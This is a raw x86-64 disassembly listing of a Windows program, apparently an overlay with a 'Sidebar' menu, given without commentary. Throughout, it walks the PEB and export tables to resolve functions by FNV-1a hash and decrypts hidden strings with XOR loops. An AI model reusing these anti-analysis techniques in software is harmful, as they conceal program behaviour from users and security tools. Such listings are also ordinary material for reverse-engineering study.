lea rdx, [rdx + 1]
test cl, cl
jne 0x14007c5b0
cmp r8d, 0xe80fd3a
je 0x14007c5db
test r9d, r9d
jne 0x14007c590
mov rax, qword [rax]
jmp 0x14007c560
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007c686
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007c686
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007c681
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007c660
cmp r8d, 0xa52bcaf9
je 0x14007c68b
test r9d, r9d
jne 0x14007c640
mov rax, qword [rax]
jmp 0x14007c610
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
lea rcx, [rbp + 0xe88]
call fcn.140064d50
mov dword [rbp + 0x558], 0x43700000
mov dword [rbp + 0x55c], 0x43b40000
lea rcx, [rbp + 0x558]
call fcn.140025c30
mov qword [rsi + 0xc4], r12
mov dword [rsi + 0xcc], r12d
mov dword [rsi + 0xd0], 0x3f800000
movaps xmm6, xmmword [0x140102110]
movaps xmm7, xmmword [0x140147690]
mov dword [rbp + 0x560], 0x43820000
mov dword [rbp + 0x564], 0x42200000
movsd xmm0, qword [str.vTU_]
movsd qword [rbp + 0x1a8], xmm0
mov eax, dword [0x140144910]
mov dword [rbp + 0x1b0], eax
movzx eax, word [0x140144914]
mov word [rbp + 0x1b4], ax
cmp byte [0x140144915], 0
je 0x14007c8a0
mov r8d, r12d
cmp r13d, 2
jl 0x14007c861
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm2, xmmword [0x140107310]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.vTU_]
xorps xmm2, xmm0
movd dword [rbp + 0x1a8], xmm2
movdqa xmm3, xmmword [0x140147580]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1ac]
xorps xmm2, xmm1
movd dword [rbp + 0x1ac], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1a8]
add r9, rax
nop
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14007c870
movdqa xmmword [rsp + 0x50], xmm6
movdqa xmmword [rsp + 0x60], xmm7
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x1401756c0]
mov qword [rsp + 0x28], rax
lea rax, [0x1401756b8]
mov qword [rsp + 0x20], rax
lea r9, [0x1401756b0]
xor r8d, r8d
lea rdx, [rbp + 0x560]
lea rcx, [rbp + 0x1a8]
call fcn.14003f910
test al, al
je 0x14007c90f
mov byte [reloc.WS2_32.dll_accept], 1
mov byte [0x1401796b9], 0
mov dword [rsi + 0xc4], 0x3f800000
mov dword [rsi + 0xc8], 0x3f800000
mov dword [rsi + 0xcc], 0x3f800000
mov dword [rsi + 0xd0], 0x3f800000
mov r15, qword [rbp + 0x80]
mov rcx, r15
call fcn.140025a30
mov dword [rbp + 0x568], 0x4432c000
mov dword [rbp + 0x56c], 0x40a00000
lea rcx, [rbp + 0x568]
call fcn.140025c30
movaps xmm0, xmmword [0x140147680]
movaps xmm1, xmmword [0x140147650]
mov dword [rbp + 0x570], 0x41a00000
mov dword [rbp + 0x574], 0x41f00000
movzx eax, word [0x140144918]
mov word [rsp + 0x7c], ax
cmp byte [0x140144919], 0
je 0x14007c9a7
mov byte [rsp + 0x7c], 0x78
xor byte [rsp + 0x7d], 0x35
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmmword [rsp + 0x60], xmm1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rax, [0x1401756d8]
mov qword [rsp + 0x28], rax
lea rax, [0x1401756d0]
mov qword [rsp + 0x20], rax
lea r9, [0x1401756c8]
xor r8d, r8d
lea rdx, [rbp + 0x570]
lea rcx, [rsp + 0x7c]
call fcn.14003fdb0
test al, al
je 0x14007ca05
mov byte [reloc.WS2_32.dll_accept], 0
mov rcx, r15
call fcn.140025a30
mov dword [rbp + 0x578], 0x44278000
mov dword [rbp + 0x57c], 0x43c80000
lea rcx, [rbp + 0x578]
call fcn.140025c30
movaps xmm6, xmmword [0x140102100]
mov dword [rbp + 0x210], 0x42700000
mov dword [rbp + 0x214], 0x42480000
movsd xmm0, qword [0x140144920]
movsd qword [rbp + 0x198], xmm0
mov eax, dword [0x140144928]
mov dword [rbp + 0x1a0], eax
cmp byte [0x14014492b], 0
je 0x14007cbd0
mov r8d, r12d
cmp r13d, 2
jl 0x14007cb86
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm2, xmmword [0x140107310]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140144920]
xorps xmm2, xmm0
movd dword [rbp + 0x198], xmm2
movdqa xmm3, xmmword [0x140147580]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x19c]
xorps xmm2, xmm1
movd dword [rbp + 0x19c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x198]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14007cba0
movdqa xmmword [rsp + 0x50], xmm6
movups xmm0, xmmword [0x140175300]
movdqa xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x140179dc8]
mov qword [rsp + 0x28], rax
lea rax, [0x140179dd0]
mov qword [rsp + 0x20], rax
lea r9, [0x140179dc0]
xor r8d, r8d
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x198]
call fcn.14003f910
test al, al
je 0x14007cd28
mov eax, dword [0x14014492c]
mov dword [rbp + 0x18], eax
movzx ecx, word [0x140144930]
mov word [rbp + 0x1c], cx
movzx eax, byte [0x140144932]
mov byte [rbp + 0x18], reloc.WS2_32.dll_WSAStartup
xor byte [rbp + 0x19], 0x35
xor byte [rbp + 0x1a], 0x36
xor byte [rbp + 0x1b], 0x37
xor cl, 0x38
mov byte [rbp + 0x1c], cl
xor byte [rbp + 0x1d], 0x39
xor al, 0x3a
mov byte [rbp + 0x1e], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007cd06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007cd06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007cd01
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007cce0
cmp r8d, 0x491e0a9c
je 0x14007cd0b
test r9d, r9d
jne 0x14007ccc0
mov rax, qword [rax]
jmp 0x14007cc90
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x18]
call rdx
call fcn.140015af0
mov rsi, qword [rbp + 0x218]
jmp 0x14007cd3d
mov r15, qword [rbp + 0x80]
call fcn.1400196e0
mov qword [rax + 0xf4], r12
mov qword [rax + 0xfc], r12
mov qword [rbp + 0x220], 0
lea rcx, [rbp + 0x220]
call fcn.140025c30
mov dword [rbp + 0x228], 0x43160000
mov dword [rbp + 0x22c], 0x43e60000
mov r9d, Ordinal_27
mov r8b, 1
lea rdx, [rbp + 0x228]
lea rcx, str.Sidebar
call fcn.140007ed0
mov dword [rbp + 0x230], 0x41480000
mov dword [rbp + 0x234], 0x41200000
lea rcx, [rbp + 0x230]
call fcn.140025c30
xorps xmm0, xmm0
movups xmmword [rbp + 0x910], xmm0
movaps xmm1, xmmword [0x140102110]
movups xmmword [rbp + 0x920], xmm1
mov dword [rbp + 0x238], 0x3f800000
mov dword [rbp + 0x23c], 0x3f800000
mov qword [rbp + 0x240], 0
movd xmm0, dword [rbp + 0xfb8]
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x248], xmm0
movd xmm1, dword [rbp + 0xfc0]
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x24c], xmm1
lea rax, [rbp + 0x910]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x920]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x238]
lea r8, [rbp + 0x240]
lea rdx, [rbp + 0x248]
mov rcx, qword [rbp + 0x280]
call fcn.140047130
call fcn.1400196e0
mov rbx, rax
mov dword [rax + 0x94], r12d
mov dword [rax + 0x98], 0x3f000000
mov dword [rbp + 0x250], 0x425c0000
mov dword [rbp + 0x254], 0x43c80000
lea rcx, [rbp + 0x250]
call fcn.140025c30
mov dword [rbx + 0x224], 0x3d5d2f1b
mov dword [rbx + 0x228], 0x3d5d2f1b
mov qword [rbx + 0x22c], 0x3d5d2f1b
mov dword [rbx + 0xf4], 0x3d5d2f1b
mov dword [rbx + 0xf8], 0x3d5d2f1b
mov qword [rbx + 0xfc], 0x3d5d2f1b
mov dword [rbx + 0x114], 0x3da7ef9e
mov dword [rbx + 0x118], 0x3d9fbe77
mov qword [rbx + 0x11c], 0x3d9fbe77
mov qword [rbx + 0x214], r12
mov qword [rbx + 0x21c], r12
movaps xmm0, xmmword [0x140102110]
movups xmmword [rbp + 0x930], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x940], xmm1
mov dword [rbp + 0x258], 0x3f800000
mov dword [rbp + 0x25c], 0x3f800000
mov qword [rbp + 0x260], 0
mov dword [rbp + 0x268], 0x42140000
mov dword [rbp + 0x26c], 0x41e00000
lea rax, [rbp + 0x930]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x940]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
lea r9, [rbp + 0x258]
lea r8, [rbp + 0x260]
lea rdx, [rbp + 0x268]
mov rcx, rsi
call fcn.140047360
test al, al
je 0x14007d1fb
movups xmm0, xmmword [0x140144938]
movups xmmword [rbp + 0x838], xmm0
movups xmm1, xmmword [0x140144948]
movups xmmword [rbp + 0x848], xmm1
mov eax, dword [0x140144958]
mov dword [rbp + 0x858], eax
mov r8d, r12d
cmp r13d, 2
jl 0x14007d0f5
movdqa xmm5, xmmword [0x140107310]
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x83c]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14007cff0
cmp r8d, 0x24
jge 0x14007d140
movsxd rax, r8d
lea r9, [rbp + 0x838]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x14007d110
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007d1d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007d1d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007d1d1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007d1b0
cmp r8d, 0x491e0a9c
je 0x14007d1db
test r9d, r9d
jne 0x14007d190
mov rax, qword [rax]
jmp 0x14007d160
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x838]
call rdx
mov dword [rbp + 0x270], 0x41200000
mov dword [rbp + 0x274], 0x43d70000
lea rcx, [rbp + 0x270]
call fcn.140025c30
mov r14, qword [rbp + 0x6c8]
mov rcx, r14
call fcn.140025a30
movaps xmm7, xmmword [0x140147680]
mov dword [rbp + 0x278], 0x42f40000
mov dword [rbp + 0x27c], 0x41e00000
movups xmm0, xmmword [0x140144960]
movups xmmword [rbp + 0x658], xmm0
mov eax, dword [0x140144970]
mov dword [rbp + 0x668], eax
movzx eax, word [0x140144974]
mov word [rbp + 0x66c], ax
cmp byte [0x140144975], 0
je 0x14007d410
mov r8d, r12d
cmp r13d, 2
jl 0x14007d3c5
movdqa xmm5, xmmword [0x140107310]
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x65c]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14007d2c0
cmp r8d, 0x16
jge 0x14007d410
movsxd rax, r8d
lea r9, [rbp + 0x658]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x14007d3e0
movdqa xmmword [rsp + 0x50], xmm7
movups xmm0, xmmword [0x140175300]
movdqa xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rax, [0x1401756f0]
mov qword [rsp + 0x28], rax
lea rax, [0x1401756e8]
mov qword [rsp + 0x20], rax
lea r9, [0x1401756e0]
xor r8d, r8d
lea rdx, [rbp + 0x278]
lea rcx, [rbp + 0x658]
call fcn.14003fdb0
test al, al
je 0x14007d6eb
movups xmm0, xmmword [0x140144978]
movups xmmword [rbp + 0x810], xmm0
movups xmm1, xmmword [0x140144988]
movups xmmword [rbp + 0x820], xmm1
mov eax, dword [str.a_cWxZWS_K:]
mov dword [rbp + 0x830], eax
mov r8d, r12d
cmp r13d, 2
jl 0x14007d5e5
movdqa xmm5, xmmword [0x140107310]
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x814]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14007d4e0
cmp r8d, 0x24
jge 0x14007d630
movsxd rax, r8d
lea r9, [rbp + 0x810]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x14007d600
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007d6c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007d6c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007d6c1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007d6a0
cmp r8d, 0x491e0a9c
je 0x14007d6cb
test r9d, r9d
jne 0x14007d680
mov rax, qword [rax]
jmp 0x14007d650
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x810]
call rdx
call fcn.140015af0
mov ecx, 2
call fcn.1400214d0
mov ecx, 1
call fcn.140021580
call fcn.1400155d0
mov rbx, qword [rbp + 0x280]
cmp byte [0x1401796b2], 0
je 0x140083412
cmp byte [0x1401796b8], 0
jne 0x14007d732
call fcn.1400767a0
mov byte [0x1401796b8], 1
mov eax, dword [0x14014499c]
mov dword [rbp - 0x78], eax
movzx eax, word [0x1401449a0]
mov word [rbp - 0x74], ax
movzx eax, byte [0x1401449a2]
mov byte [rbp - 0x78], Ordinal_79
xor byte [rbp - 0x77], 0x35
xor byte [rbp - 0x76], 0x36
xor byte [rbp - 0x75], 0x37
xor byte [rbp - 0x74], 0x38
xor byte [rbp - 0x73], 0x39
xor al, 0x3a
mov byte [rbp - 0x72], al
xor edx, edx
mov r8d, 0x13b
lea rcx, [rbp - 0x78]
call fcn.140005170
mov ecx, 0x1010100
call fcn.140072950
movaps xmm0, xmmword [0x140147670]
movups xmmword [rbp + 0x950], xmm0
lea rdx, [rbp + 0x950]
mov ecx, 3
call fcn.140021cd0
movaps xmm0, xmmword [0x140147670]
movups xmmword [rbp + 0x9a0], xmm0
lea rdx, [rbp + 0x9a0]
mov ecx, 5
call fcn.140021cd0
movaps xmm1, xmm11
mov ecx, 6
call fcn.140021e10
mov qword [rbp + 0x288], 0
lea rcx, [rbp + 0x288]
call fcn.140025c30
mov dword [rbp + 0x290], 0x43160000
mov dword [rbp + 0x294], 0x43e60000
mov r9d, Ordinal_27
mov r8b, 1
lea rdx, [rbp + 0x290]
lea rcx, str.Sidebar
call fcn.140007ed0
mov dword [rbp + 0x298], 0x41480000
mov dword [rbp + 0x29c], 0x41200000
lea rcx, [rbp + 0x298]
call fcn.140025c30
xorps xmm0, xmm0
movups xmmword [rbp + 0x960], xmm0
movaps xmm1, xmmword [0x140102110]
movups xmmword [rbp + 0x970], xmm1
mov dword [rbp + 0x2a0], 0x3f800000
mov dword [rbp + 0x2a4], 0x3f800000
mov qword [rbp + 0x2a8], 0
movd xmm0, dword [rbp + 0xfb8]
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x2b0], xmm0
movd xmm1, dword [rbp + 0xfc0]
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x2b4], xmm1
lea rax, [rbp + 0x960]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x970]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x2a0]
lea r8, [rbp + 0x2a8]
lea rdx, [rbp + 0x2b0]
mov rcx, rbx
call fcn.140047130
mov dword [rbp + 0x2b8], 0
mov dword [rbp + 0x2bc], 0x43390000
lea rcx, [rbp + 0x2b8]
call fcn.140025c30
call fcn.1400196e0
mov rdi, rax
mov dword [rax + 0xc4], 0x3f800000
mov dword [rax + 0xc8], 0x3f800000
mov dword [rax + 0xcc], 0x3f800000
mov dword [rax + 0xd0], 0x3f800000
mov dword [rax + 0x214], 0x3f800000
mov dword [rax + 0x218], 0x3f800000
mov qword [rax + 0x21c], 0x3f800000
mov dword [rax + 0x114], 0x3f6b851f
mov dword [rax + 0x118], 0x3e3851ec
mov dword [rax + 0x11c], 0x3e947ae1
mov dword [rax + 0x120], 0x3f800000
movups xmm0, xmmword [0x140175300]
movups xmmword [rax + 0x224], xmm0
movups xmm0, xmmword [rax + 0xe4]
movups xmmword [rax + 0x234], xmm0
mov rcx, r15
call fcn.140025a30
mov dword [rdi + 0x94], r12d
mov dword [rdi + 0x98], 0x3f000000
movaps xmm7, xmmword [0x140102100]
mov dword [rbp + 0x2c0], 0x43480000
mov dword [rbp + 0x2c4], 0x42200000
movups xmm1, xmmword [0x1401449a8]
movups xmmword [rbp + 0x580], xmm1
movzx eax, word [0x1401449b8]
mov word [rbp + 0x590], ax
movzx eax, byte [0x1401449ba]
mov byte [rbp + 0x592], al
mov r8d, r12d
cmp r13d, 2
jl 0x14007db25
movdqa xmm5, xmmword [0x140107310]
